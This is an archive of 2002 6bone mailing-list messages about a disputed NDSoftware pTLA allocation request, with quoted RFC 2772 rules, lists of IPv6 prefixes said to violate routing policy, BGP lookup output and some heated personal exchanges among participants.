> > Thank you.
> > 
> > -- 
> > Irvin Probst
> 
> Irvin Probst is the responsible of 62.4.22.131, he must prove that he is
> not the author.
> It's too easy for him to say that he is not the author... 


Nicolas,

Don't get me wrong, it was childish and stupid for the author of the
original email to have sent it, and cowardly to attempt to hide behind a
hotmail account while doing so.

That said, there was no crime involved and it the content, beyond being
childish, was actually quite humerous.

Irvin doesn't have to *prove* _ANYTHING_ to me, to you or to the 6bone
list participants.

How do you know that I didn't hack into Irvins box and post the email, an
then track MYSELF down (it's easier that way!), exposing the source to the
list to throw you all off from thinking it was me?

Of course, I didn't do that.  If *I* were going to do something like that,
I'd post it from your machine at wks1.fr.corp.ndsoftware.com.  Don't
*for-a-second* think that your NAT is anything more than security by
obscurity.

Anyway, the point is that someone was childish.  I tracked them down to
the source.  Both the source and the transit provider for the source have
responded indicating that they have addressed the issue.

It is now a *NON ISSUE*.  (Kinda like your pTLA if my gut feeling is
accurate.)


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



From allgoodg@san.rr.com Wed Oct 30 13:17:56 2002
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From: "Guy L. Allgood" <allgoodg@san.rr.com>
To: "6BONE List" <6bone@mailman.isi.edu>, "Bob Fink" <fink@es.net>
References: <5.1.0.14.0.20021022182536.030eca68@imap2.es.net>
Subject: Re: [6bone] pTLA request NDSOFTWARE - change of review date to 30 October 2002
Date: Wed, 30 Oct 2002 13:19:40 -0800
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Mr. Fink,

While I have found it somewhat amusing that there is actually an entity more
hated on the 6bone than Microsoft, I would like to compel you to please stop
this insanity.  Things have gone way too far and there is better things for
all of us to be doing than reading finger pointing diatribes.  Please, can
we have the decision and be done with this mess?

Warmest regards to all,
Guy L. Allgood
AG1         USN
MCSE


From lme@cartel-securite.fr Wed Oct 30 15:57:02 2002
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This should be great !
We are now 31 october. May 6bone folks take a decision and finish this flam=
e ?
This is looks like a "Burn the witch" monty python's powered thread ! We ar=
e now over a hundred mail for this.

Regards,

Laurent, despited

According to Guy L. Allgood:
> Mr. Fink,
>=20
> While I have found it somewhat amusing that there is actually an entity m=
ore
> hated on the 6bone than Microsoft, I would like to compel you to please s=
top
> this insanity.  Things have gone way too far and there is better things f=
or
> all of us to be doing than reading finger pointing diatribes.  Please, can
> we have the decision and be done with this mess?
>=20
> Warmest regards to all,
> Guy L. Allgood
> AG1         USN
> MCSE
>=20
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

--=20
Laurent Mele
Responsable Hebergement
CARTEL SECURITE GROUPE CGBI
Tel.: +33 1.44.06.97.88
Fax : +33 1.44.06.97.99
http://www.cartel-securite.fr

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From fink@es.net Wed Oct 30 19:07:15 2002
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Subject: [6bone] review of pTLA request NDSOFTWARE
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6bone Folk,

The open review period for the NDSOFTWARE pTLA request has closed. Please 
don't send any more comments to the list. The topic has been well aired, 
and we need to not tie up the mail list any longer.

As for a decision, I am afraid that there are difficult issues that have 
been raised that make it difficult for me alone to make a decision. It was 
also overly contentious and potentially divisive for our community.

Thus in the spirit of trying to come up with a solution that will gain 
consensus, I have decided to create an ad hoc pTLA review group of 5 people 
to review this request, arrive at a decision, and then summarize the issues 
for the 6bone list. This may be a prototype for what we will need to do as 
we become more involved with the registries over the next year.

So, I promise to have a result for you by the end of next week, 8 November.


If this process does not work out, we can all invent another. Meanwhile, 
please be patient, and understanding.


Thanks,

Bob


From sb@rdns.de Wed Oct 30 19:15:49 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - change of review date to 30 October 2002
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Dear Laurent Mele, dear 6bone folks,

> This should be great !
> We are now 31 october. May 6bone folks take a decision and finish this flame ?
> This is looks like a "Burn the witch" monty python's powered thread ! We are now over a hundred mail for this.

I've got a simple idea. For now, we have a "review" phase of two
weeks. There should be another test-phase (maybe a month?), with
already allocated pTLA. After that month, the 6bone folk should decide
to keep that new pTLA or to delete it. Then we could see if One is
using this pTLA in the right way. If not, just take that pTLA back.
The right example would be NDSOFTWARE. Let's give a pTLA to NDSOFTWARE
for a test-month. If all is going right (no DMZ pollution from
NDSOFTWARE e.g.) let him keep his pTLA. I think with this solution we
can be satisfied. And no more flames ;-)

-> two weeks review
-> if no "serious" problems like private ASN or unallocated ASN give
"test-pTLA" for a month.
-> after the month another short review "good or not. keep or delete"

Comments are welcome.

-- 
best regards,
Sascha Bielski                            mailto:sb@rdns.de
xs26.net German Coordination
phone: +49 (0) 174 / 432 93 76
email: sb@rdns.de


From old_mc_donald@hotmail.com Wed Oct 30 20:01:50 2002
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----- Original Message -----
From: "Sascha Bielski" <sb@rdns.de>
To: "Laurent Mele" <mele@cartel-securite.fr>
Cc: <6bone@mailman.isi.edu>
Sent: Thursday, October 31, 2002 11:15 AM
Subject: Re: [6bone] pTLA request NDSOFTWARE - change of review date to 30
October 2002


> Dear Laurent Mele, dear 6bone folks,
>
> > This should be great !
> > We are now 31 october. May 6bone folks take a decision and finish this
flame ?
> > This is looks like a "Burn the witch" monty python's powered thread ! We
are now over a hundred mail for this.
>
> I've got a simple idea. For now, we have a "review" phase of two
> weeks. There should be another test-phase (maybe a month?), with
> already allocated pTLA. After that month, the 6bone folk should decide
> to keep that new pTLA or to delete it. Then we could see if One is
> using this pTLA in the right way. If not, just take that pTLA back.
> The right example would be NDSOFTWARE. Let's give a pTLA to NDSOFTWARE
> for a test-month. If all is going right (no DMZ pollution from
> NDSOFTWARE e.g.) let him keep his pTLA. I think with this solution we
> can be satisfied. And no more flames ;-)
>
> -> two weeks review
> -> if no "serious" problems like private ASN or unallocated ASN give
> "test-pTLA" for a month.
> -> after the month another short review "good or not. keep or delete"
>
> Comments are welcome.
>

A good idea I think in this case , maybe Bob would like to suggest this
with his panel of 5.
Taking this further though , would this be a one off or do you propose
that all pTLA requests be handled in this way?
Would different strategies for different requests be efficient?

Gav...


---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.408 / Virus Database: 230 - Release Date: 24/10/2002

From sb@rdns.de Wed Oct 30 20:05:44 2002
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 <20021030235659.GF31564@cartel-securite.fr>
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Dear Gav, dear 6bone folks,

> A good idea I think in this case , maybe Bob would like to suggest this
> with his panel of 5.
> Taking this further though , would this be a one off or do you propose
> that all pTLA requests be handled in this way?
> Would different strategies for different requests be efficient?

All pTLA requests should be handled this way. :)

-- 
best regards,
Sascha Bielski                            mailto:sb@rdns.de
xs26.net German Coordination
phone: +49 (0) 174 / 432 93 76
email: sb@rdns.de


From anssi.porttikivi@teleware.fi Wed Oct 30 20:57:17 2002
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Thread-Topic: List of IPv6 compatible Windows programs? Degree of support in well-known Linux distributions?
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Has anyone compiled list of MS and non-MS Windows programs, that work with IPv6 on XP? Do they understand style [::] addresses? How do they do address selection between 4 and 6? Always use the first one returned by the DNS?

If all wininet.dll using programs work automatically with proper address selection and DNS calls, how come XP IPv6 docs only mentions IE, ftp, telnet, Network Monitor & other utilities...? How about Office programs? Other MS Programs? 

How about Linux distributions? What are the IPv6-ready packages in RedHat 8? Debian Woody?

From gnea@garson.org Wed Oct 30 21:09:59 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - change of review date to 30 October 2002
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Hello everyone, while I have remained subdued in my responses to the
issues surrounding the request of a pTLA for NDSOFTWARE, this does not
mean that I haven't been paying attention.  While I do not personally
have a pTLA/sTLA, I do, for the most part, understand the importance 
behind implementing something as gradious(sp?) as this.  Hence why I
stick with my freenet6 tunnel and manage my own dns until I can get the
proper funding/setup to host a stable pTLA/sTLA. :)  But I digress, the
suggestion issued forth by Sascha is, by far, the most intelligent
response I have seen thus far on the issue and I would just like to add
my own two cents and second the motion.  Let Nic have the pTLA for a
month and see what happens.  If he flops, he loses it.  If he gets it
all straightened out, then all's good.  While I do not agree with his
mannerism (nor the mannerisms of others who contributed to the
degregation which has occurred on this list as of late) I am thankful
(as I am sure many of you are) that there exists some people who take
the time to think things out logically.  While NDSOFTWARE appears to be
a relatively inexperienced concept, it has the potential to do quite a
bit of good, despite its shortcomings.  I say give him the chance and
see what happens.  Those who aren't in favour of the decision can bite
their nails for a month while NDSOFTWARE fixes its bugs.  If a roach is
left then burn it. :)

* Sascha Bielski (sb@rdns.de) cobbled forth:
> Dear Laurent Mele, dear 6bone folks,
> 
> > This should be great !
> > We are now 31 october. May 6bone folks take a decision and finish this flame ?
> > This is looks like a "Burn the witch" monty python's powered thread ! We are now over a hundred mail for this.
> 
> I've got a simple idea. For now, we have a "review" phase of two
> weeks. There should be another test-phase (maybe a month?), with
> already allocated pTLA. After that month, the 6bone folk should decide
> to keep that new pTLA or to delete it. Then we could see if One is
> using this pTLA in the right way. If not, just take that pTLA back.
> The right example would be NDSOFTWARE. Let's give a pTLA to NDSOFTWARE
> for a test-month. If all is going right (no DMZ pollution from
> NDSOFTWARE e.g.) let him keep his pTLA. I think with this solution we
> can be satisfied. And no more flames ;-)
> 
> -> two weeks review
> -> if no "serious" problems like private ASN or unallocated ASN give
> "test-pTLA" for a month.
> -> after the month another short review "good or not. keep or delete"
> 
> Comments are welcome.
 
         .oO Gnea [gnea at garson dot org] Oo.
            .oO url [http://gnea.net] Oo.

"You can tune a filesystem, but you can't tune a fish." -Kirk McKusick

From nicolas.deffayet@ndsoftware.net Thu Oct 31 02:32:33 2002
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6bone folks,

Flames & co > /dev/null


RFC2772: http://www.ietf.org/rfc/rfc2772.txt


I will show the real status of the 6bone in this mails.

=> Who respect RFC2772 ?

Not a lot of people.


In this mails, you will see that a lot of pTLA (and 6bone sites) don't
respect RFC2772.

Any comments are welcome about this.


6bone is open for do experiments or is closed ?


NDSoftware respect this RFC since 17 January 2001, and the NDSoftware
pTLA request is fully compliant with this RFC.

Why NDSoftware can't get a pTLA ?
Is it because many people are jealous ?

6bone community want see many IPv6 projects die because NDSoftware can't
provide to them IPv6 address ?


Best Regards,

Nicolas DEFFAYET


From nicolas.deffayet@ndsoftware.net Thu Oct 31 02:33:38 2002
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6bone folks,

Flames & co > /dev/null


RFC2772: http://www.ietf.org/rfc/rfc2772.txt


4. Routing Policies for the 6bone

   Leaf sites or pNLAs MUST only advertise to an upstream provider the
   prefixes assigned by that provider. Advertising a prefix assigned by
   another provider to a provider is not acceptable, and breaks the
   aggregation model. A site MUST NOT advertise a prefix from another
   provider to a provider as a way around the multi-homing problem.
   However, in the interest of testing new solutions, one may break this
   policy, so long as ALL affected parties  are aware of this test, and
   all agree to support this testing.  These policy breaks MUST NOT
   affect the 6bone routing table globally.

   To clarify, if one has two upstream pNLA or pTLA providers, (A and B
   for this example), one MUST only announce the prefix delegated to one
   by provider A to provider A, and one MUST only announce the prefeix
   delegated by one from provider B upstream to provider B. There exists
   no circumstance where this should be violated, as it breaks the
   aggregation model, and could globally affect routing decisions if
   downstreams are able to leak other providers' more specific
   delegations up to a pTLA. As the IPNG working group works through the
   multi-homing problem, there may be a need to alter this rule
   slightly, to test new strategies for deployment. However, in the case
   of current specifications at the time of this writing, there is no
   reason to advertise more specifics, and pTLA's MUST adhere to the
   current aggregation model.

   Site border routers for pNLA or leaf sites MUST NOT advertise
   prefixes more specific (longer) than the prefix that was allocated by
   their upstream provider.

   All 6bone pTLAs MUST NOT advertise prefixes longer than a given pTLA
   delegation (currently /24 or /28) to other 6bone pTLAs unless special
   peering arrangements are implemented. When such special peering
   aggreements are in place between any two or more 6bone pTLAs, care
   MUST be taken not to leak the more specifics to other 6bone pTLAs not
   participating in the peering aggreement. 6bone pTLAs which have such
   agreements in place MUST NOT  advertise other 6bone pTLA more
   specifics to downstream 6bone pNLAs or leaf sites, as this will break
   the best-path routing decision.

   The peering agreements across the 6Bone may be by nature non-
   commercial, and therefore MAY allow transit traffic, if peering
   agreements of this nature are made. However, no pTLA is REQUIRED to
   give or receive transit service from another pTLA.

   Eventually, the Internet registries will assign prefixes under other
   than the 6Bone TLA (3FFE::/16). As of the time this document was
   written in 1999, the Internet registries were starting to assign /35
   sub-TLA (sTLA) blocks from the 2001::/16 TLA. Others will certainly
   be used in the future.

   The organizations receiving prefixes under these newer TLAs would be
   expected to want to establish peering and connectivity relationships
   with other IPv6 networks, both in the newer TLA space and in the
   6bone pTLA space. Peering between new TLA's and the current 6Bone
   pTLA's MAY occur, and details such as transit, and what routes are
   received by each, are outside of general peering rules as stated in
   this memo, and are left up to the members of those TLA's and pTLA's
   that are establishing said peerings. However, it is expected that
   most of the rules discussed here are equally applicable to new TLAs.


I do my demonstration with the ASpath-tree statistics of the routing
table of 5 pTLA:

Hurricane: http://ipv6.he.net/bgpview/odd-routes1.html
Verat: http://lab.verat.net/ASpath-tree/odd-routes1.html
Cybernet: http://sarah.muc.eurocyber.net/bgp/odd-routes1.html
Sprint: http://www.sprintv6.net/aspath/odd-routes1.html
Tilab: http://net-stats.ipv6.tilab.com/bgp/odd-routes1.html

AS14609
3ffe:a00:13::/48

AS15709
2001:650:10::/48
 
AS1741
3ffe:2620::/32

AS17934
3ffe:516::/32

AS2012
3ffe:2c03::/32

AS3327
3ffe:1200:3028:88a0::/64
2001:670:8B::/48

AS3561
2001:648:800::/48

AS3776
3ffe:2900:1109::/48

AS4181
3ffe:81d0:104::/48

AS8145
3ffe:26ff:10::/48

AS818
3ffe:b00:2000::/40
2001:410:400::/40

AS8812
3ffe:2650:1::/48

AS8209
2001:6E0:202::/48

AS8627
2001:608:1::/48

AS6680
2001:798:80:400::/62
2001:798:80:404::/62
2001:798:80:408::/62
2001:798:80:414::/62
2001:798:80:418::/64
2001:798:80:40C::/62
2001:798:20:200::2/128

ASNET
2001:288:3B0::/44

ATT-LABS-EUROPE
3ffe:1CFF:0:EE::/64

BELBONE-BE
3ffe:80b0:1001::/48

BELNET-BE
3ffe:80a0:1005::/48
3ffe:608:2::/48

BERKOM
3ffe:8090:4800:4E20::/64

BT-LABS
2001:7F8:2::/48

CHELLO
3ffe:82bf:2::/48

CHTTL-TW
3ffe:830f:2000::/40
3ffe:400c:3::/48
3ffe:8320:2:f::/64
3ffe:4008:e::/48
3ffe:4005:10::/48
3ffe:400b:6002::/48
3ffe:4010:a00b::/48
3ffe:4005:a::/48

COSY
3ffe:8034::/34

CUDI
2001:448:3::/48

DIVEO-BR
3ffe:2b00:1003::/48

DOLPHINS-CH
3ffe:8150:2001::/48

EAFIT
3ffe:8070:1015::/48

FUNET
3ffe:2620::/32

GENDORF
3ffe:400:3b0::/48

GLOBALCENTER
2001:7F8:1::/64

HURRICANE
3ffe:1200:3028::/48

ICLINVIA
3ffe:2610:10::/48

INTEC
2001:200:500::/40

ISC
2001:500::/48

JOIN
3ffe:2100:1:17::/64
3ffe:400:280::/48

NEXTGEN-LAB
3ffe:82bf::/32

NORDUNET
2001:6B0:4::/48

NTUA
2001:648:2::/48

RISQ
2001:410:300::/40

SAVVIS
3ffe:1300:4:2::/64
3ffe:1300:4:4::/64
3ffe:1300:4:1::/64
3ffe:1300:4::/48
3ffe:1300:4:3::/64
3ffe:1300:4:228::/64
3ffe:1300:4:1228::/64

SDSCNET
3ffe:2807::/32

SE-IP
3ffe:2640::/32

STBEN-BE
3ffe:80B0:100:8000::2/127
3ffe:80B0:100:8000::4/127
3ffe:80B0:100::/48
3ffe:80B0:100:1::/64

TVD
3ffe:80b0:1002::/48
3ffe:2501:100::/48

UDG
3ffe:8240:8012::/48

ULANC
2001:630:80::/48

UUNET-FR
2001:600:14::/48

UUNET-US
3ffe:8090:4800:4e20::/64
3ffe:8090:4800:ce50::/60
3ffe:1cff:0:ef::/64
3ffe:8090:4800:c005::/64
3ffe:8090:4800:c000::/64
3ffe:8090:4800:ce10::/60

VERAT
3ffe:400:10E0::/48
3ffe:8271:A090::/44
3ffe:80A0:1005::/48


The pTLA said in their pTLA request that they agree to all current and
future rules and policies !

Do you think that this pTLA who don't respect the RFC2772 must keep
their pTLA ?



From nicolas.deffayet@ndsoftware.net Thu Oct 31 02:34:09 2002
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6bone folks,

Flames & co > /dev/null


RFC2772: http://www.ietf.org/rfc/rfc2772.txt


5. The 6Bone Registry

   The 6Bone registry is a RIPE-181 database with IPv6 extensions used
   to store information about the 6Bone, and its sites. The 6bone is
   accessible at:

         <http://www.6bone.net/whois.html>)

   Each 6Bone site MUST maintain the relevant entries in the 6Bone
   registry. In particular, the following object MUST be present for all
   6Bone leaf sites, pNLAs and pTLAs:

   -  IPv6-site: site description

   -  Inet6num: prefix delegation (one record MUST exist for each
      delegation)

   -  Mntner: contact info for site maintance/administration staff.

   Other object MAY be maintained at the discretion of the sites such as
   routing policy descriptors, person, or role objects.  The Mntner
   object MUST make reference to a role or person object, but those MAY
   NOT necessarily reside in the 6Bone registry. They can be stored
   within any of the Internet registry databases (ARIN, APNIC, RIPE-NCC,
   etc.)

A lot of 6bone site that are pTLA don't update their whois objects.

6. Guidelines for new sites joining the 6Bone

   New sites joining the 6Bone should seek to connect to a transit pNLA
   or a pTLA within their region, and preferably as close as possible to
   their existing IPv4 physical and routing path for Internet service.
   The 6Bone web site at <http://www.6bone.net> has various information
   and tools to help find candidate 6bone networks.

   Any site connected to the 6Bone MUST maintain a DNS server for
   forward name lookups and reverse address lookups.  The joining site
   MUST maintain the 6Bone objects relative to its site, as describe in
   section 5.

   The upstream provider MUST delegate the reverse address translation
   zone in DNS to the joining site, or have an agreement in place to
   perform primary DNS for that downstream. The provider MUST also
   create the 6Bone registry inet6num object reflecting the delegated
   address space.

   Up to date informatino about how to join the 6Bone is available on
   the 6Bone Web site at <http://www.6bone.net>.

Many pTLA don't have reverse delegation for their pTLA, how they can
delegate the reverse delegation to a 6bone site ?

The pTLA said in their pTLA request that they agree to all current and
future rules and policies !

Do you think that this pTLA who don't respect the RFC2772 must keep
their pTLA ?



From nicolas.deffayet@ndsoftware.net Thu Oct 31 02:35:06 2002
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6bone folks,

Flames & co > /dev/null


RFC2772: http://www.ietf.org/rfc/rfc2772.txt



7. Guidelines for 6Bone pTLA sites

   The following rules apply to qualify for a 6Bone pTLA allocation. It
   should be recognized that holders of 6Bone pTLA allocations are
   expected to provide production quality backbone network services for
   the 6Bone.

   1. The pTLA Applicant must have a minimum of three (3) months
      qualifying experience as a 6Bone end-site or pNLA transit.  During
      the entire qualifying period the Applicant must be operationally
      providing the following:


      a. Fully maintained, up to date, 6Bone Registry entries for their
         ipv6-site inet6num, mntner, and person objects, including each
         tunnel that the Applicant has.

A lot of pTLA don't update their whois objects.

      b. Fully maintained, and reliable, BGP4+ peering and connectivity
         between the Applicant's boundary router and the appropriate
         connection point into the 6Bone. This router must be IPv6
         pingable. This criteria is judged by members of the 6Bone
         Operations Group at the time of the Applicant's pTLA request.

A lot of pTLA are not announced:
6COM (3FFE:1900::/24)
MREN (3FFE:1700::/24)
MOTOROLA-LABS (3FFE:4002::/32)
CAIRN (3FFE:1A00::/24)
LDCOM (3FFE:82E0::/28)
NL-BIT6 (3FFE:8350::/28)
UCB-BR (3FFE:3A00::/24)
ZAMA (3FFE:80F0::/28)
IFB (3FFE:0E00::/24)
ANSNET (3FFE:0D00::/24)
INFN-CNAF (3FFE:2300::/24)
EURNETCITY (3FFE:400D::/32)
UL (3FFE:1B00::/24)
BME-FSZ (3FFE:2F00::/24)
TIAI-PTLA (3FFE:8180::/28)


      c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
         entries for the Applicant's router(s) and at least one host
         system.

Many pTLA don't have reverse delegation for their pTLA.

      d. A fully maintained, and reliable, IPv6-accessible system
         providing, at a mimimum, one or more web pages, describing the
         Applicant's IPv6 services.  This server must be IPv6 pingable.

A lot of pTLA respect this only during the pTLA request.

   2. The pTLA Applicant MUST have the ability and intent to provide
      "production-quality" 6Bone backbone service. Applicants must
      provide a statement and information in support of this claim.
      This MUST include the following:

      a. A support staff of two persons minimum, three preferable, with
         person attributes registered for each in the ipv6-site object
         for the pTLA applicant.

      b. A common mailbox for support contact purposes that all support
         staff have acess to, pointed to with a notify attribute in the
         ipv6-site object for the pTLA Applicant.

Many pTLA don't have valid email address (email bounce).

   3. The pTLA Applicant MUST have a potential "user community" that
      would be served by its becoming a pTLA, e.g., the Applicant is a
      major provider of Internet service in a region, country, or focus
      of interest. Applicant must provide a statement and information in
      support this claim.

A lot of pTLA don't help IPv6 community and don't have a real potential
"user community".

   4. The pTLA Applicant MUST commit to abide by the current 6Bone
      operational rules and policies as they exist at time of its
      application, and agree to abide by future 6Bone backbone
      operational rules and policies as they evolve by consensus of the
      6Bone backbone and user community.

   When an Applicant seeks to receive a pTLA allocation, it will apply
   to the 6Bone Operations Group (see section 8 below) by providing to
   the Group information in support of its claims that it meets the
   criteria above.

A lot of pTLA meets the criteria above only during the pTLA request.

The pTLA said in their pTLA request that they agree to all current and
future rules and policies !

Do you think that this pTLA who don't respect the RFC2772 must keep
their pTLA ?


From nicolas.deffayet@ndsoftware.net Thu Oct 31 02:35:42 2002
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Subject: [6bone] Who respect RFC2772 ? (8. 6Bone Operations Group, 9. Common rules
 enforcement for the 6bone)
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6bone folks,

Flames & co > /dev/null


RFC2772: http://www.ietf.org/rfc/rfc2772.txt

8. 6Bone Operations Group

   The 6Bone Operations Group is the group in charge of monitoring and
   policing adherence to the current rules. Membership in the 6Bone
   Operations Group is mandatory for, and restricted to, sites connected
   to the 6Bone.

Nobody monitoring the policing adherence !

   The 6Bone Operations Group is currently defined by those members of
   the existing 6Bone mailing list who represent sites participating in
   the 6Bone. Therefore it is incumbent on relevant site contacts to
   join the 6Bone mailing list. Instructions on how to join the list are
   maintained on the 6Bone web site at < http://www.6bone.net>.

9.  Common rules enforcement for the 6bone

   Participation in the 6Bone is a voluntary and benevolent undertaking.
   However, participating sites are expected to adhere to the rules and
   policies described in this document in order to maintain the 6Bone as
   a quality tool for the deployment of, and transition to, IPv6
   protocols and the products implementing them.

See my comments, a lot of pTLA (and 6bone sites) don't respect this
rules !

   The following is in support of policing adherence to 6Bone rules and
   policies:

   1. Each pTLA site has committed to implement the 6Bone's rules and
      policies, and SHOULD try to ensure they are adhered to by sites
      within their administrative control, i.e. those to who prefixes
      under their respective pTLA prefix have been delegated.

A lot of pTLA respect this rules only during the pTLA request.

   2. When a site detects an issue, it SHOULD first use the 6Bone
      registry to contact the site maintainer and work the issue.

How do you contact a pTLA when in the whois you have an invalid email
address that bounce ?

   3. If nothing happens, or there is disagreement on what the right
      solution is, the issue SHOULD be brought to the 6Bone Operations
      Group.

   4. When the problem is related to a product issue, the site(s)
      involved SHOULD be responsible for contacting  the product vendor
      and work toward its resolution.

   5. When an issue causes major operational problems, backbone sites
      SHOULD decide to temporarily set filters in order to restore
      service.

The pTLA said in their pTLA request that they agree to all current and
future rules and policies !

Do you think that this pTLA who don't respect the RFC2772 must keep
their pTLA ?


From hdogan@RI.CARNet.hr Thu Oct 31 05:52:18 2002
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From: Hrvoje Dogan <hdogan@RI.CARNet.hr>
Date: Thu, 31 Oct 2002 14:52:02 +0100
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Subject: Re: [6bone] Who respect RFC2772 ?
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Hi!

On Thu, Oct 31, 2002 at 11:33:01AM +0100, Nicolas DEFFAYET wrote:
> 6bone folks,
> 
> Flames & co > /dev/null

Nicolas, it doesn't work that way. You can't throw a flame bait and
say "no flames, please".

You have been so  obnoxious for the past few weeks, and turned this
otherwise (mostly :)) peaceful and *constructive* list into a flamewar
havoc.

Could you please just refrain from any further writings, and let your 
review period finally end? It is upon the community to review the
pTLA application, *not* upon the applicant!



						Hrvoje
P.S.
And, for crying out loud, learn proper English!

From fink@es.net Thu Oct 31 06:26:58 2002
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Subject: Re: [6bone] Who respect RFC2772 ?
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6bone Folks,

Please stop the commentaries on this pTLA topic for now. The open review 
period is closed. It's no longer productive and every email (either from 
Nicolas or a responder) just fans the flames to no good end.

At this point let's just wait until the pTLA review panel/group gives a result.


Thanks,

Bob


From jeroen@unfix.org Thu Oct 31 06:44:47 2002
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To: "'Nicolas DEFFAYET'" <nicolas.deffayet@ndsoftware.net>,
   <6bone@mailman.isi.edu>
Subject: RE: [6bone] Who respect RFC2772 ?
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Nicolas DEFFAYET wrote:

Here is your favourite funny person again, with some positive thoughts
for you:

> RFC2772: http://www.ietf.org/rfc/rfc2772.txt
> 
> 
> I will show the real status of the 6bone in this mails.
> 
> => Who respect RFC2772 ?
> 
> Not a lot of people.

Thanks for pointing these things out Nico, even though you made a small
glitch:
Not a lot of _companies_ respect RFC2772.

People shouldn't even have a pTLA (unless that really is a personalTLA).

And we really should clean that mess up.

We should also really be looking into:
http://www.netcore.fi/pekkas/ietf/draft-savola-v6ops-6bone-mess-00.txt
Instead of pointing fingers.

Bad routing practises are not good for the 'image' of IPv6 and not good
for the network at all. Adding another bad site to the routing mess will
only make it worse.
We might consider first to clean up the mess and then start accepting
new pTLA's
before it really runs into havoc and we can't get out of it anymore.

> In this mails, you will see that a lot of pTLA (and 6bone sites) don't
> respect RFC2772.
> 
> Any comments are welcome about this.
> 
> 
> 6bone is open for do experiments or is closed ?

Afaik currently it is still open for experiments, at least that is what
most people are doing with it. RIR allocations* are catching on and are
more and more commonly being used for productional IPv6.
That's all up to Bob.

* = http://www.ripe.net/ipv6/ipv6allocs.html

> NDSoftware respect this RFC since 17 January 2001, and the NDSoftware
> pTLA request is fully compliant with this RFC.

Check the large thread about your request, this is not true Nico and you
know that.

> Why NDSoftware can't get a pTLA ?
> Is it because many people are jealous ?

If you did actually read what Bob wrote:
http://mailman.isi.edu/pipermail/6bone/2002-October/006595.html
8<-------------------
Thus in the spirit of trying to come up with a solution that will gain 
consensus, I have decided to create an ad hoc pTLA review group of 5
people 
to review this request, arrive at a decision, and then summarize the
issues 
for the 6bone list
<SNIP>
So, I promise to have a result for you by the end of next week, 8
November.
------------------->8

You aren't turned down completely *YET*.
Starting to flame and point fingers won't be a thing for a good cause
though.

Instead of concentrating on how to get people not get a new pTLA we just
could
concentrate all that energy on making the 6bone clean again.

> 6bone community want see many IPv6 projects die because 
> NDSoftware can't provide to them IPv6 address ?

ATI has a sTLA (http://www.ripe.net/perl/whois?TN-ATI-20021024)

NGC could be part of Internet2
IPv6-FR is apparently just only NDSoftware

NDSoftware doesn't have any other customers and isn't fisher^Wenterprise
sized.
if it where it could request a sTLA also.

And you are currently running quite well (if I take your words) with
those 3 /32's you already have, so it won't die.

So don't claim that Nico ;)

Greets,
 Jeroen


From tvo@EnterZone.Net Thu Oct 31 06:52:33 2002
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From: John Fraizer <tvo@EnterZone.Net>
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cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Who respect RFC2772 ? (4. Routing Policies for the 6bone)
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On 31 Oct 2002, Nicolas DEFFAYET wrote:

I agree that there are many, many, many people announcing
specifics.  The fact that you are accepting them doesn't bode well for
your arguement though.  Filtering is a two way street Nicolas.  You've got
to do your part too.


If you want to start pointing fingers at people, going through your little
list and making checkmarks about who is naughty and who is nice, I would
venture to say that by the end of the day, you'll have lots of resources
to spare on your routers to take on private ASNs because all of the
pTLAs/sTLAs that have agreed to peer with you thus far will have had
enough of your whining and bitching and they'll simply drop peering with
you and be done with it.

> 
>    The peering agreements across the 6Bone may be by nature non-
>    commercial, and therefore MAY allow transit traffic, if peering
>    agreements of this nature are made. However, no pTLA is REQUIRED to
>    give or receive transit service from another pTLA.
> 

Please also note the above.  Keep torquing people off and you'll find
yourself transit free but also peer free and that means 6bone/ipv6 free.

You're FREE!  Run Away!  Run Away!

> AS14609
> 3ffe:a00:13::/48

Border2-BGP> sh ipv6 bgp 3ffe:a00:13::/48
% Network not in table

> 
> AS15709
> 2001:650:10::/48

Border2-BGP> sh ipv6 bgp 2001:650:10::/48
% Network not in table

> AS1741
> 3ffe:2620::/32

Border2-BGP> sh ipv6 bgp 3ffe:2620::/32
% Network not in table

> AS17934
> 3ffe:516::/32

Border2-BGP> sh ipv6 bgp 3ffe:516::/32
% Network not in table

> AS2012
> 3ffe:2c03::/32

Border2-BGP> sh ipv6 bgp 3ffe:2c03::/32
% Network not in table

> AS3327
> 3ffe:1200:3028:88a0::/64
> 2001:670:8B::/48

Border2-BGP> sh ipv6 bgp 3ffe:1200:3028:88a0::/64
% Network not in table
Border2-BGP> sh ipv6 bgp 2001:670:8B::/48
% Network not in table

> AS3561
> 2001:648:800::/48

Border2-BGP> sh ipv6 bgp 2001:648:800::/48
% Network not in table

> AS3776
> 3ffe:2900:1109::/48

Border2-BGP> sh ipv6 bgp 3ffe:2900:1109::/48
% Network not in table

> AS4181
> 3ffe:81d0:104::/48

Border2-BGP> sh ipv6 bgp 3ffe:81d0:104::/48
% Network not in table

> AS8145
> 3ffe:26ff:10::/48

Border2-BGP> sh ipv6 bgp 3ffe:26ff:10::/48
% Network not in table

> AS818
> 3ffe:b00:2000::/40
> 2001:410:400::/40

Border2-BGP> sh ipv6 bgp 3ffe:b00:2000::/40
% Network not in table
Border2-BGP> sh ipv6 bgp 2001:410:400::/40
% Network not in table

> AS8812
> 3ffe:2650:1::/48

Border2-BGP> sh ipv6 bgp 3ffe:2650:1::/48
% Network not in table

> AS8209
> 2001:6E0:202::/48

Border2-BGP> sh ipv6 bgp 2001:6E0:202::/48
% Network not in table

> AS8627
> 2001:608:1::/48

Border2-BGP> sh ipv6 bgp 2001:608:1::/48
% Network not in table


The list goes ON AND ON AND ON.... "Network not in table."

Nicolas,

You got that information from other peoples networks.  Just how do you
know that they don't have agreements in place to carry those more
specifics?


> The pTLA said in their pTLA request that they agree to all current and
> future rules and policies !
> 
> Do you think that this pTLA who don't respect the RFC2772 must keep
> their pTLA ?

I tell you what.  I'd rather carry 10K /128 routes sourced with AS701 than
a SINGLE prefix sourced with AS25358.  Why?  Because at least they are
PROFESSIONAL.  Nicolas, I hate to break it to you but, the world doesn't
revolve around NDSoftware.  I could care less if our site can reach your
